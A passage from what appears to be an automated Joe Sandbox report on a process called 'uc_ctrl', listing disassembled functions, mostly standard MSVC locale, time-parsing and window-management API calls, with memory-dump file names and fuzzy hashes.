                                                                                                • Part of subcall function 6CEE81D0: Concurrency::cancel_current_task.LIBCPMT(?,00000004), ref: 6CEE8215
                                                                                                • Part of subcall function 6CEE81D0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,00000004), ref: 6CEE8288
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Bid@locale@std@@$Addfac@_Locimp@locale@std@@Locimp_V123@Vfacet@23@$??1_H_prolog3Lockit@std@@_lock_locales$D@std@@@std@@@std@@U?$char_traits@$??0?$time_get@Concurrency::cancel_current_taskGetcollInit@?$time_put@Locinfo@1@Locinfo@2@@V?$istreambuf_iterator@V?$ostreambuf_iterator@___lc_collate_cp_func___lc_locale_name_func_realloc_base_wcsdupmalloc
                                                                                              • String ID:
                                                                                              • API String ID: 2133787414-0
                                                                                              • Opcode ID: 5bb3e4a2630a8eea4a05eec1bb67b70d6182e14ed09cb27bd88f9afaf42b0c4a
                                                                                              • Instruction ID: a90936631c836c2871a585c0399c185887185522210b2917f4ef25a7c741018e
                                                                                              • Opcode Fuzzy Hash: 5bb3e4a2630a8eea4a05eec1bb67b70d6182e14ed09cb27bd88f9afaf42b0c4a
                                                                                              • Instruction Fuzzy Hash: 46812971A40355AFDB109FA888116EFBFF99F49368F31441DE8689BB81CF74890587A1
                                                                                              Function 6CF6FF83 Relevance: 42.0, APIs: 12, Strings: 12, Instructions: 43registrywindowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • RegisterWindowMessageW.USER32(Native), ref: 6D0C1100
                                                                                              • RegisterWindowMessageW.USER32(OwnerLink), ref: 6D0C110D
                                                                                              • RegisterWindowMessageW.USER32(ObjectLink), ref: 6D0C111B
                                                                                              • RegisterWindowMessageW.USER32(Embedded Object), ref: 6D0C1129
                                                                                              • RegisterWindowMessageW.USER32(Embed Source), ref: 6D0C1137
                                                                                              • RegisterWindowMessageW.USER32(Link Source), ref: 6D0C1145
                                                                                              • RegisterWindowMessageW.USER32(Object Descriptor), ref: 6D0C1153
                                                                                              • RegisterWindowMessageW.USER32(Link Source Descriptor), ref: 6D0C1161
                                                                                              • RegisterWindowMessageW.USER32(FileName), ref: 6D0C116F
                                                                                              • RegisterWindowMessageW.USER32(FileNameW), ref: 6D0C117D
                                                                                              • RegisterWindowMessageW.USER32(Rich Text Format), ref: 6D0C118B
                                                                                              • RegisterWindowMessageW.USER32(RichEdit Text and Objects), ref: 6D0C1199
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: MessageRegisterWindow
                                                                                              • String ID: Embed Source$Embedded Object$FileName$FileNameW$Link Source$Link Source Descriptor$Native$Object Descriptor$ObjectLink$OwnerLink$Rich Text Format$RichEdit Text and Objects
                                                                                              • API String ID: 1814269913-2889995556
                                                                                              • Opcode ID: bab45bb817fd5bb3d0a66fa8266334f23377addf4dc51bf13d9b6a7e7f6d580e
                                                                                              • Instruction ID: 6563bd4e341f5a1f41afb441539c5175d52733008ee1e52ccf425e70e0e8eab3
                                                                                              • Opcode Fuzzy Hash: bab45bb817fd5bb3d0a66fa8266334f23377addf4dc51bf13d9b6a7e7f6d580e
                                                                                              • Instruction Fuzzy Hash: F5115CB2C04745AFCB34AFB6A90D725BAB0FA4D3213204929F5D6D7505D7749405CF86
                                                                                              Function 6CEE7F00 Relevance: 39.2, APIs: 26, Instructions: 182COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEE7F07
                                                                                              • ??0?$ctype@D@std@@QAE@ABV_Locinfo@1@I@Z.MSVCP140(?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7F3D
                                                                                                • Part of subcall function 6CEE3270: __EH_prolog3.LIBCMT ref: 6CEE3277
                                                                                                • Part of subcall function 6CEE3270: _Getctype.MSVCP140(?,00000014,6CEE3301,00000000,00000000,0000003C,6CEE637B,?,?,00000000,?,6CEE620D,?,00000003,00000010,6CEE5F84), ref: 6CEE3295
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7F4D
                                                                                                • Part of subcall function 6CEE18F0: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00A49580,6CF33E74,?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?), ref: 6CEE1900
                                                                                                • Part of subcall function 6CEE18F0: ??1_Lockit@std@@QAE@XZ.MSVCP140(?,6CEE635B,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000), ref: 6CEE191B
                                                                                              • new.LIBCMT ref: 6CEE7F27
                                                                                                • Part of subcall function 6CF0A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6CEE021B,00000054), ref: 6CF0A38B
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7F5B
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7F6C
                                                                                              • new.LIBCMT ref: 6CEE7F85
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7F9E
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7FAC
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7FBD
                                                                                              • new.LIBCMT ref: 6CEE7FD6
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7FEF
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE7FFD
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE800E
                                                                                              • new.LIBCMT ref: 6CEE8023
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(00000018,00000000), ref: 6CEE8054
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6CEE8062
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000), ref: 6CEE8073
                                                                                              • new.LIBCMT ref: 6CEE8087
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE80A0
                                                                                              • ??Bid@locale@std@@QAEIXZ.MSVCP140(0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE80AE
                                                                                              • ?_Locimp_Addfac@_Locimp@locale@std@@CAXPAV123@PAVfacet@23@I@Z.MSVCP140(?,00000000,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE80BF
                                                                                              • ?_Makexloc@_Locimp@locale@std@@CAXABV_Locinfo@3@HPAV123@PBV23@@Z.MSVCP140(?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E,?,?,?,00000004), ref: 6CEE80D0
                                                                                              • ?_Makewloc@_Locimp@locale@std@@CAXABV_Locinfo@3@HPAV123@PBV23@@Z.MSVCP140(?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F,?,00000000,0000003C,6CEE1A8E), ref: 6CEE80DB
                                                                                              • ?_Makeushloc@_Locimp@locale@std@@CAXABV_Locinfo@3@HPAV123@PBV23@@Z.MSVCP140(?,?,?,00000000,?,?,?,00000000,?,?,?,00000000,0000000C,6CEE8148,?,0000003F), ref: 6CEE80E7
                                                                                              • ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?), ref: 6CEE8100
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: Bid@locale@std@@$Locimp@locale@std@@V123@$Addfac@_Locimp_Vfacet@23@$Locinfo@3@V23@@$D@std@@H_prolog3$??0?$ctype@??1_??4?$_GetctypeLocinfo@1@Lockit@std@@Makeushloc@_Makewloc@_Makexloc@_V01@Yarn@_lock_localesmalloc
                                                                                              • String ID:
                                                                                              • API String ID: 3705515267-0
                                                                                              • Opcode ID: b30ab8749fa7d1fa895f5367808696709353b0bcd684c4d2cf27774d65696d6c
                                                                                              • Instruction ID: a7d9358d37d65bb0d55ab9dcfbd355a4a885cc45df88f2c7b2dbd099d296c531
                                                                                              • Opcode Fuzzy Hash: b30ab8749fa7d1fa895f5367808696709353b0bcd684c4d2cf27774d65696d6c
                                                                                              • Instruction Fuzzy Hash: BD51D871A003156BEB109FA98855AFF7AB8AF4D7D8F30412DE85497B81DF348D0887E1
                                                                                              Function 6CEF1AA0 Relevance: 36.4, APIs: 24, Instructions: 427COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEF1AA7
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000024), ref: 6CEF1AB8
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEEE064: __EH_prolog3.LIBCMT ref: 6CEEE06B
                                                                                                • Part of subcall function 6CEEE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6CEEE56F,00000010,?,?,00000000), ref: 6CEEE076
                                                                                                • Part of subcall function 6CEEE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6CEEE08E
                                                                                                • Part of subcall function 6CEEE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6CEEE0F2
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEF1AD1
                                                                                              • ?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6CEF1B4E
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000000C,?,00000000), ref: 6CEF1B82
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,?,0000001F,?,00000000), ref: 6CEF1BAE
                                                                                              • ?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6CEF1D01
                                                                                              • ?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,00000000,?,?,?,?,?), ref: 6CEF1E91
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000000C,?,00000000), ref: 6CEF1EB7
                                                                                                • Part of subcall function 6CEF3CD0: _Stolx.MSVCP140(?,?,0000000A,?,?,?,00000000), ref: 6CEF3E2E
                                                                                              • ?_Getint@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@0HHAAHABV?$ctype@_W@2@@Z.MSVCP140(00000000,?,?,00000001,0000001F,?,00000000), ref: 6CEF1EE1
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@_V?$istreambuf_iterator@_$W@std@@@std@@@std@@$Getint@?$time_get@_V?$ctype@_W@2@@W@std@@@2@0$?get_monthname@?$time_get@_Utm@@@V32@0Vios_base@2@W@std@@@2@$H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@StolxVlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID:
                                                                                              • API String ID: 2927949362-0
                                                                                              • Opcode ID: 2358a480909670cd940bca34fdd384e3cb8bf1b7443e083d442b5c35e9ac581b
                                                                                              • Instruction ID: b1e3749948f052c4c1b99ff20576ef4c998943f3cfe6b08a3ecc7c94860234ed
                                                                                              • Opcode Fuzzy Hash: 2358a480909670cd940bca34fdd384e3cb8bf1b7443e083d442b5c35e9ac581b
                                                                                              • Instruction Fuzzy Hash: D7F179B1A0025EABCF04CF94C890ADE3B75FF09318F204559F9256B751D771DA1ACBA1
                                                                                              Function 6CEFAD70 Relevance: 33.5, APIs: 12, Strings: 7, Instructions: 258COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • __EH_prolog3.LIBCMT ref: 6CEFAD77
                                                                                              • ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000014), ref: 6CEFAD85
                                                                                                • Part of subcall function 6CEE44C0: std::locale::locale.LIBCPMT ref: 6CEE44C9
                                                                                                • Part of subcall function 6CEE632C: __EH_prolog3.LIBCMT ref: 6CEE6333
                                                                                                • Part of subcall function 6CEE632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE633E
                                                                                                • Part of subcall function 6CEE632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE6356
                                                                                                • Part of subcall function 6CEE632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6CEE620D,?,00000003,00000010,6CEE5F84,?,?,?,?,6CEE604E,?,?,00000000,?), ref: 6CEE63BA
                                                                                              • std::locale::~locale.LIBCPMT ref: 6CEFAD9E
                                                                                              • ?get_weekday@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000014), ref: 6CEFADE4
                                                                                              • ?get_monthname@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEFAE12
                                                                                              • ?_Getfmt@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@IBE?AV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@PBD@Z.MSVCP140(?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6CEFAE37
                                                                                              • ?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,?,?,?,?,?,?,?,?,?), ref: 6CEFAE4F
                                                                                              • ?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000017,?,00000000,?,?,?,?,?,?,?,?,%m / %d / %y), ref: 6CEFAE8C
                                                                                              • ?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,?,?,?,?,?,?,%m / %d / %y), ref: 6CEFAEC4
                                                                                              • ?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,00000001,0000000C,?,00000000,00000001,0000016E,?,00000000,00000001,0000001F,?,00000000,%b %d %H : %M : %S %Y), ref: 6CEFAF11
                                                                                              • ?_Getint@?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@ABAHAAV?$istreambuf_iterator@DU?$char_traits@D@std@@@2@0HHAAHABV?$ctype@D@2@@Z.MSVCP140(?,?,?,?,00000063,?,00000000,%d / %m / %y,00000006,?,00000000,%I : %M : %S %p,6CED5E70,?,?,?), ref: 6CEFAFE3
                                                                                              • ?get_year@?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@QBE?AV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@2@V32@0AAVios_base@2@AAHPAUtm@@@Z.MSVCP140(?,?,?,?,?,?,?,?,00000035,?,00000000,%H : %M : %S,0000003C,?,00000000,?), ref: 6CEFB020
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4149599826.000000006CED1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6CED0000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4149575919.000000006CED0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149669520.000000006CF32000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF35000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4149703165.000000006CF38000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6ced0000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: U?$char_traits@V?$istreambuf_iterator@$D@std@@@std@@@std@@U?$char_traits@_V?$istreambuf_iterator@_$D@2@@D@std@@@2@0Getint@?$time_get@V?$ctype@$V32@0Vios_base@2@$Utm@@@W@std@@@2@W@std@@@std@@@std@@$H_prolog3$??1_?get_monthname@?$time_get@_?get_weekday@?$time_get@_?get_year@?$time_get@_?getloc@ios_base@std@@Bid@locale@std@@D@std@@@2@Getfmt@?$time_get@Lockit@std@@Utm@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
                                                                                              • String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
                                                                                              • API String ID: 1504778631-2891247106
                                                                                              • Opcode ID: b59d3c641b9f3c429ebff74182d34c2664ec4bf967fcfb3bfc808f29b912bf42
                                                                                              • Instruction ID: 49defcd52ccf004ef6078a60db7d9f910cc423b12a95e951e602f7d988fbb050
                                                                                              • Opcode Fuzzy Hash: b59d3c641b9f3c429ebff74182d34c2664ec4bf967fcfb3bfc808f29b912bf42
                                                                                              • Instruction Fuzzy Hash: 61917A7164020AEFCB05DF94CC90EEB3BB9EF09318F24451AF964AA650E331D912DB65
                                                                                              Function 6CF91A46 Relevance: 31.7, APIs: 16, Strings: 2, Instructions: 169libraryloaderCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(kernel32.dll,?,?), ref: 6CF91A79
                                                                                              • GetProcAddress.KERNEL32(00000000,GetThreadPreferredUILanguages), ref: 6CF91A89
                                                                                              • EncodePointer.KERNEL32(00000000,?,?), ref: 6CF91A92
                                                                                              • DecodePointer.KERNEL32(59B054DF,?,?), ref: 6CF91AA0
                                                                                              • GetUserDefaultUILanguage.KERNEL32(?,?), ref: 6CF91AC9
                                                                                              • ___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 6CF91AE9
                                                                                              • _wcslen.LIBCMT ref: 6CF91AF2
                                                                                              • ___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 6CF91B12
                                                                                              • _wcslen.LIBCMT ref: 6CF91B1B
                                                                                              • GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF91B40
                                                                                              • ___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 6CF91B60
                                                                                              • _wcslen.LIBCMT ref: 6CF91B69
                                                                                              • ___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 6CF91B92
                                                                                              • _wcslen.LIBCMT ref: 6CF91B9B
                                                                                              • ___crtDownlevelLCIDToLocaleName.LIBCPMT ref: 6CF91BC8
                                                                                              • _wcslen.LIBCMT ref: 6CF91BD4
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150269205.000000006D0F3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150379053.000000006D1C2000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150405212.000000006D1C4000.00000008.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C7000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150450264.000000006D1C9000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150701326.000000006D1D0000.00000004.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150752180.000000006D1E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              • Associated: 00000011.00000002.4150799167.000000006D200000.00000002.00000001.01000000.0000000B.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_17_2_6cf60000_uc_ctrl.jbxd
                                                                                              Similarity
                                                                                              • API ID: DownlevelLocaleName___crt_wcslen$DefaultLanguagePointer$AddressDecodeEncodeHandleModuleProcSystemUser
                                                                                              • String ID: GetThreadPreferredUILanguages$kernel32.dll
                                                                                              • API String ID: 989863645-1646127487
                                                                                              • Opcode ID: 3a8493197e3d186eeb73badf7ece9a9922fa4a13afd518bd7703670d5ce3031c
                                                                                              • Instruction ID: 68f0de842fa2a918d7f8e294f08b79b700a849278f61e90c2b8b3e7066afb6ff
                                                                                              • Opcode Fuzzy Hash: 3a8493197e3d186eeb73badf7ece9a9922fa4a13afd518bd7703670d5ce3031c
                                                                                              • Instruction Fuzzy Hash: CE511CB6904209AFEB14DBA4C985EFF77BDEB48314B114529EA05A7240DB34E905CBA2
                                                                                              Function 6CF97DFF Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 184windowCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 6CF9D632: GetWindowLongW.USER32(?,000000F0), ref: 6CF9D63F
                                                                                              • GetParent.USER32(?), ref: 6CF97E35
                                                                                              • SendMessageW.USER32(00000000,0000036B,00000000,00000000), ref: 6CF97E58
                                                                                              • GetWindowRect.USER32(?,00000000), ref: 6CF97E7B
                                                                                              • GetWindowLongW.USER32(00000000,000000F0), ref: 6CF97EAE
                                                                                              • MonitorFromWindow.USER32(00000000,00000001), ref: 6CF97EE4
                                                                                              • GetMonitorInfoW.USER32(00000000), ref: 6CF97EEB
                                                                                              • CopyRect.USER32(?,?), ref: 6CF97EF9
                                                                                              • GetWindowRect.USER32(00000000,?), ref: 6CF97F06
                                                                                              • MonitorFromWindow.USER32(00000000,00000002), ref: 6CF97F13
                                                                                              • GetMonitorInfoW.USER32(00000000), ref: 6CF97F1A
                                                                                              • CopyRect.USER32(?,?), ref: 6CF97F28
                                                                                              • GetParent.USER32(?), ref: 6CF97F33
                                                                                              • GetClientRect.USER32(00000000,?), ref: 6CF97F40
                                                                                              • GetClientRect.USER32(00000000,?), ref: 6CF97F4B
                                                                                              • MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 6CF97F59
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000011.00000002.4150030464.000000006CF61000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CF60000, based on PE: true
                                                                                              • Associated: 00000011.00000002.4150002088.000000006CF60000.00000002.00000001.01000000.0000000B.sdmpDownload File
